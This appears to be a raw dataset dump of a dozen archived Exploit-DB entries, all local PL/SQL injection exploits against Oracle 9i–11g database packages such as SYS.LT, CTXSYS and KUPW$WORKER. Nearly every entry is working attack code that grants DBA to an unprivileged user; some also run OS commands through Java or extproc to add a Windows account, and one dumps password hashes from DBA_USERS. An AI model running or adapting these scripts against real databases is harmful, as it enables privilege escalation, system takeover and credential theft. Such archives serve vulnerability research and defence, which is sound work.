deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10267
Description: Oracle - ctxsys.drvxtabc.create_tables
Type: local
Platform: multiple
Date: 2009-12-01
Author: Andrea Purificato

Exploit:
-- 
-- ctxsys.drvxtabc.create_tables
--
--
-- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g)
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] ctxsys-drvxtabc-create_tables.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Building evil function...

CREATE OR REPLACE FUNCTION OWN RETURN NUMBER 
AUTHID CURRENT_USER AS 
PRAGMA AUTONOMOUS_TRANSACTION; 
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT; 
RETURN(0);
END;
/

prompt [-] Finishing...

exec ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where '||USER||'.own=0--','x',2);

prompt [-] YOU GOT THE POWAH!!
Exploit-DB #10266
Description: Oracle - ctxsys.drvxtabc.create_tables Evil Cursor
Type: local
Platform: multiple
Date: 2009-12-01
Author: Andrea Purificato

Exploit:
-- 
-- ctxsys.drvxtabc.create_tablesV2.sql
--
--
-- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] ctxsys-drvxtabc-create_tablesV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where dbms_sql.execute('||MYC||')=0--','x',2);
END;
/

prompt [-] YOU GOT THE POWAH!!
Exploit-DB #10265
Description: Oracle - SYS.LT.COMPRESSWORKSPACETREE Evil Cursor
Type: local
Platform: multiple
Date: 2009-12-01
Author: Andrea Purificato

Exploit:
-- 
-- sys-lt-compressworkspacetreeV2.sql
--
--
-- Oracle SYS.LT.COMPRESSWORKSPACETREE exploit (9iR2/10gR1,10gR2,11gR1)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=SYS.LT.COMPRESSWORKSPACETREE
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] sys-lt-compressworkspacetreeV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
SYS.LT.COMPRESSWORKSPACETREE('x''||dbms_sql.execute('||MYC||')||''--'); 
END;
/

prompt [-] YOU GOT THE POWAH!!
Exploit-DB #10264
Description: Oracle - SYS.LT.MERGEWORKSPACE Evil Cursor
Type: local
Platform: multiple
Date: 2009-12-01
Author: Andrea Purificato

Exploit:
-- 
-- sys-lt-mergeworkspaceV2.sql
--
--
-- Oracle SYS.LT.MERGEWORKSPACE exploit (9iR2/10gR1,10gR2,11gR1)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=SYS.LT.MERGEWORKSPACE
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] sys-lt-mergeworkspaceV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
SYS.LT.MERGEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--'); 
END;
/

prompt [-] YOU GOT THE POWAH!!
Exploit-DB #10268
Description: Oracle - SYS.LT.REMOVEWORKSPACE Evil Cursor
Type: local
Platform: multiple
Date: 2009-12-01
Author: Andrea Purificato

Exploit:
-- 
-- sys-lt-removeworkspaceV2.sql
--
--
-- Oracle SYS.LT.REMOVEWORKSPACE exploit (9iR2/10gR1,10gR2,11gR1)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=SYS.LT.REMOVEWORKSPACE
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] sys-lt-removeworkspaceV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--');
SYS.LT.REMOVEWORKSPACE('x''||dbms_sql.execute('||MYC||')||''--'); 
END;
/

prompt [-] YOU GOT THE POWAH!!
Exploit-DB #4564
Description: Oracle 10g - 'CTX_DOC.MARKUP' SQL Injection
Type: local
Platform: multiple
Date: 2007-10-23
Author: sh2kerr

Exploit:
/******************************************************************/
/******* Oracle 10g CTX_DOC.MARKUP SQL Injection Exploit **********/
/******************************************************************/
/************ sploit grant DBA to unprivileged user ***************/
/******************************************************************/
/******************  BY Sh2kerR (Digital Security)  ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0  *******************/
/******************************************************************/
/******************************************************************/
/*         Date of Public EXPLOIT:  October 23, 2007              */
/*         Written by:              Alexandr "Sh2kerr" Polyakov   */
/*         email:                   Alexandr.Polyakov@dsec.ru     */
/*         site:                    http://www.dsec.ru            */
/******************************************************************/
/*  Original Advisory by:                                         */
/*        David Litchfield [ davidl@ngssoftware.com ]             */
/*        Reported: 6 June 2005                                   */
/*        Date of Public Advisory: October 17, 2007               */
/*        Advisory number: #NISR17102007A                         */
/*                                                                */
/******************************************************************/

select * from user_role_privs;


CREATE OR REPLACE FUNCTION HACKIT return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'grant dba to scott';
COMMIT;
RETURN '';
END;
/


set serveroutput on

create table mark_tab (id number primary key, text varchar2(80) );

insert into mark_tab values ('1', 'All your bases are belong to US');

create index mark_tab_idx on mark_tab(text)
        indextype is ctxsys.context parameters
        ('filter ctxsys.null_filter');


SET SERVEROUTPUT ON;
DECLARE
     mklob CLOB;
     amt NUMBER := 40;
     line VARCHAR2(80);
     BEGIN
       CTX_DOC.MARKUP('mark_tab_idx','1',''||scott.HACKIT()||'', mklob);
       DBMS_LOB.READ(mklob, amt, 1, line);
       DBMS_OUTPUT.PUT_LINE('QWRvcmUuVS5NeS5TdGFy'||line);
       DBMS_LOB.FREETEMPORARY(mklob);
       END;
     /


select * from user_role_privs;

/******************************************************************/
/*************************** SEE U LATER  ;)  ***********************/
/******************************************************************/

// milw0rm.com [2007-10-23]
Exploit-DB #9072
Description: Oracle 10g - 'SYS.LT.COMPRESSWORKSPACETREE' SQL Injection (2)
Type: local
Platform: multiple
Date: 2009-07-02
Author: Sumit Siddharth

Exploit:
This is slightly modified version of: http://milw0rm.com/exploits/7677
This is based on cursor injection and does not need create function privileges:

DECLARE
D NUMBER;
BEGIN
D := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute immediate ''grant dba to scott'';commit;end;',0);
SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
end;

#-----------screen dump---------------------------------------------------#
SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          EXECUTE_CATALOG_ROLE           NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO

SQL> DECLARE
  2  D NUMBER;
  3  BEGIN
  4  D := DBMS_SQL.OPEN_CURSOR;
  5  DBMS_SQL.PARSE(D,'declare pragma autonomous_transaction; begin execute imme
diate ''grant dba to scott'';commit;end;',0);
  6  SYS.LT.CREATEWORKSPACE('a''and dbms_sql.execute('||D||')=1--');
  7  SYS.LT.COMPRESSWORKSPACETREE('a''and dbms_sql.execute('||D||')=1--');
  8  end;
  9
 10
 11  /
DECLARE
*
ERROR at line 1:
ORA-01403: no data found
ORA-06512: at "SYS.LT", line 6118
ORA-06512: at "SYS.LT", line 6087
ORA-06512: at line 7


SQL> select * from user_role_privs;

USERNAME                       GRANTED_ROLE                   ADM DEF OS_
------------------------------ ------------------------------ --- --- ---
SCOTT                          CONNECT                        NO  YES NO
SCOTT                          DBA                            NO  YES NO
SCOTT                          EXECUTE_CATALOG_ROLE           NO  YES NO
SCOTT                          RESOURCE                       NO  YES NO


Sid
www.notsosecure.com

# milw0rm.com [2009-07-02]
Exploit-DB #3177
Description: Oracle 10g - SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE PL / SQL Injection
Type: local
Platform: multiple
Date: 2007-01-23
Author: Joxean Koret

Exploit:
/**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <joxeankoret@yahoo.es>
* Privileges needed:
*
* - CREATE SESSION
*
* Max. Length 97. Very, very cool
*
*/
select *
from user_role_privs
;

DECLARE
SEQUENCE_OWNER VARCHAR2(200);
SEQUENCE_NAME VARCHAR2(200);
v_user_id number;
v_commands VARCHAR2(32767);
NEW_VALUE NUMBER;
BEGIN
SELECT user_id INTO v_user_id
FROM user_users;

v_commands := 'insert into sys.sysauth$ ' ||
' values' ||
'(' || v_user_id || ',4,' ||
'999,null)';

SEQUENCE_OWNER := 'TEST';
SEQUENCE_NAME := ''',lockhandle=>:1);' || v_commands || ';commit;
end;--';
NEW_VALUE := 1;
SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE(
SEQUENCE_OWNER => SEQUENCE_OWNER,
SEQUENCE_NAME => SEQUENCE_NAME,
NEW_VALUE => NEW_VALUE
);
END;
/

select *
from user_role_privs
;

// milw0rm.com [2007-01-23]
Exploit-DB #3179
Description: Oracle 10g - SYS.KUPV$FT.ATTACH_JOB PL / SQL Injection
Type: local
Platform: multiple
Date: 2007-01-23
Author: Joxean Koret

Exploit:
/**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <joxeankoret@yahoo.es>
* Privileges needed:
*
* - EXECUTE_CATALOG_ROLE
* - CREATE PROCEDURE
*
*/
select *
from user_role_privs
;

CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
COMMIT;
RETURN(1);
END;
/

DECLARE
USER_NAME VARCHAR2(200);
JOB_NAME VARCHAR2(200);
NEW_JOB BOOLEAN;
v_Return NUMBER;
BEGIN
USER_NAME := 'OWNER';
JOB_NAME := ''' OR ' || USER || '.f1() = 1--';

v_Return := SYS.KUPV$FT.ATTACH_JOB(
USER_NAME => USER_NAME,
JOB_NAME => JOB_NAME,
NEW_JOB => NEW_JOB
);
END;
/

// milw0rm.com [2007-01-23]
Exploit-DB #3178
Description: Oracle 10g - SYS.KUPW$WORKER.MAIN PL / SQL Injection
Type: local
Platform: multiple
Date: 2007-01-23
Author: Joxean Koret

Exploit:
/**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <joxeankoret@yahoo.es>
* Privileges needed:
*
* - CREATE SESSION
* - CREATE PROCEDURE
*
*/
select *
from user_role_privs
;

CREATE OR REPLACE FUNCTION F1
RETURN NUMBER AUTHID CURRENT_USER
IS
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO TEST';
COMMIT;
RETURN(1);
END;
/

DECLARE
MASTER_NAME VARCHAR2(200);
MASTER_OWNER VARCHAR2(200);
BEGIN
MASTER_NAME := ''' or ' || user || '.f1=1--';
MASTER_OWNER := 'bla';
SYS.KUPW$WORKER.MAIN(
MASTER_NAME => MASTER_NAME,
MASTER_OWNER => MASTER_OWNER
);
END;
/

select *
from user_role_privs
;

// milw0rm.com [2007-01-23]
Exploit-DB #7676
Description: Oracle 10g - SYS.LT.MERGEWORKSPACE SQL Injection
Type: local
Platform: multiple
Date: 2009-01-06
Author: sh2kerr

Exploit:
/*********************************************************/
/*Oracle 10g SYS.LT.MERGEWORKSPACE SQL Injection Exploit**/
/****grant DBA and create new  OS user (java)*************/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using java procedures ************************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009               */
/* Written by:             Alexandr "Sh2kerr" Polyakov   */
/* email:                  Alexandr.Polyakov@dsec.ru     */
/* site:                   http://www.dsecrg.ru          */
/*                         http://www.dsec.ru            */
/*********************************************************/
/*Original Advisory:                                     */
/*Esteban Martinez Fayo [Team SHATTER ]                  */
/*Date of Public Advisory: November 11, 2008             */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/

select * from user_role_privs;

CREATE OR REPLACE FUNCTION Y return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
COMMIT;
RETURN 'Y';
END;
/

exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');
exec SYS.LT.MERGEWORKSPACE('sh2kerr'' and SCOTT.Y()=''Y');



/* Creating simple java procedure that executes OS  */

exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<<ALL FILES>>','execute');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'writeFileDescriptor', '');
exec dbms_java.grant_permission('SCOTT', 'SYS:java.lang.RuntimePermission', 'readFileDescriptor', '');

CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVACMD" AS
import java.lang.*;
import java.io.*;
public class JAVACMD
{
 public static void execCommand (String command) throws IOException
 {
     Runtime.getRuntime().exec(command);
 }
};
/

CREATE OR REPLACE PROCEDURE JAVAEXEC (p_command  IN  VARCHAR2)
AS LANGUAGE JAVA 
NAME 'JAVACMD.execCommand (java.lang.String)';
/

/* here we can paste any OS command for example create new user */

exec javaexec(Â‘net user hack 12345 /addÂ’);

select * from user_role_privs;

// milw0rm.com [2009-01-06]
Exploit-DB #7675
Description: Oracle 10g - SYS.LT.REMOVEWORKSPACE SQL Injection
Type: local
Platform: multiple
Date: 2009-01-06
Author: sh2kerr

Exploit:
/*********************************************************/
/*Oracle 10g SYS.LT.REMOVEWORKSPACE SQL Injection Exploit*/
/****grant DBA and create new  OS user (advanced extproc)*/
/*********************************************************/
/***********exploit grant DBA to scott********************/
/***********and execute OS command "net user"*************/
/***********using advanced extproc method*****************/
/*********************************************************/
/***********tested on oracle 10.1.0.5.0*******************/
/*********************************************************/
/*********************************************************/
/* Date of Public EXPLOIT: January 6, 2009               */
/* Written by:             Alexandr "Sh2kerr" Polyakov   */
/* email:                  Alexandr.Polyakov@dsec.ru     */
/* site:                   http://www.dsecrg.ru          */
/*			   http://www.dsec.ru            */
/*********************************************************/
/*Original Advisory:                                     */
/*Esteban Martinez Fayo [Team SHATTER ]                  */
/*Date of Public Advisory: November 11, 2008             */
/*http://www.appsecinc.com/resources/alerts/oracle/2008-10.shtml*/
/*********************************************************/


select * from user_role_privs;

CREATE OR REPLACE FUNCTION X return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE ANY DIRECTORY TO SCOTT';
EXECUTE IMMEDIATE 'GRANT CREATE ANY LIBRARY TO SCOTT';
EXECUTE IMMEDIATE 'GRANT EXECUTE ON SYS.DBMS_FILE_TRANSFER TO SCOTT';
COMMIT;
RETURN 'X';
END;
/

exec SYS.LT.CREATEWORKSPACE('sh2kerr'' and SCOTT.X()=''X');
exec SYS.LT.REMOVEWORKSPACE('sh2kerr'' and SCOTT.X()=''X');

/* bypassing extproc limitation by copying msvcrt.dll to $ORACLE_HOME\BIN */
/* this method works in 10g and 11g database versions with updates        */

CREATE OR REPLACE DIRECTORY copy_dll_from AS 'C:\Windows\system32';
CREATE OR REPLACE DIRECTORY copy_dll_to AS   'C:\Oracle\product\10.1.0\db_1\BIN';

BEGIN
  SYS.DBMS_FILE_TRANSFER.COPY_FILE(
   source_directory_object      => 'copy_dll_from',
   source_file_name             => 'msvcrt.dll',
   destination_directory_object => 'copy_dll_to',
   destination_file_name        => 'msvcrt.dll');
END;
/

CREATE OR REPLACE LIBRARY extproc_shell AS 'C:\Oracle\product\10.1.0\db_1\bin\msvcrt.dll';
/

CREATE OR REPLACE PROCEDURE extprocexec (cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY extproc_shell
LANGUAGE C;
/

/* here we can paste any OS command for example create new user */

EXEC extprocexec('net user hack 12345 /add');
/

select * from user_role_privs;

// milw0rm.com [2009-01-06]
Exploit-DB #4994
Description: Oracle 10g R1 - 'pitrig_drop' Get Users Hash / PL/SQL Injection
Type: local
Platform: multiple
Date: 2008-01-28
Author: sh2kerr

Exploit:
/******************************************************************/
/******* Oracle 10g R1 xDb.XDB_PITRIG_PKG.PITRIG_DROP    **********/
/*******                SQL Injection Exploit            **********/
/******************************************************************/
/************     sploit get password Hashes        ***************/
/******************************************************************/
/******************  BY Sh2kerr (Digital Security)  ***************/
/******************************************************************/
/***************** tested on oracle 10.1.0.2.0  *******************/
/******************************************************************/
/******************************************************************/
/*         Date of Public EXPLOIT:  January 28, 2008              */
/*         Written by:              Alexandr "Sh2kerr" Polyakov   */
/*         email:                   Alexandr.Polyakov@dsec.ru     */
/*         site:                    http://www.dsec.ru            */
/******************************************************************/
/*  Original Advisory by:                                         */
/*      Alexandr Polyakov [ Alexandr.Polyakov@dsec.ru]            */
/*      Reported: 18  Dec 2007                                    */
/*      Date of Public Advisory: January 15, 2008                 */
/*      Advisory: http://www.oracle.com/technology/deploy/        */
/*                security/critical-patch-updates/cpujan2008.html */
/*                                                                */
/******************************************************************/


CREATE TABLE SH2KERR(id NUMBER,name VARCHAR(20),password VARCHAR(16));

CREATE OR REPLACE FUNCTION SHOWPASS return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'INSERT INTO SCOTT.sh2kerr(id,name,password) SELECT user_id,username,password FROM DBA_USERS';
COMMIT;
RETURN '';
END;
/


EXEC XDB.XDB_PITRIG_PKG.PITRIG_DROP('SCOTT"."SH2KERR" WHERE 1=SCOTT.SHOWPASS()--','HELLO IDS IT IS EXPLOIT :)');

select * from sh2kerr;




/******************************************************************/
/*************************** SEE U LATER  ;)  ***********************/
/******************************************************************/

// milw0rm.com [2008-01-28]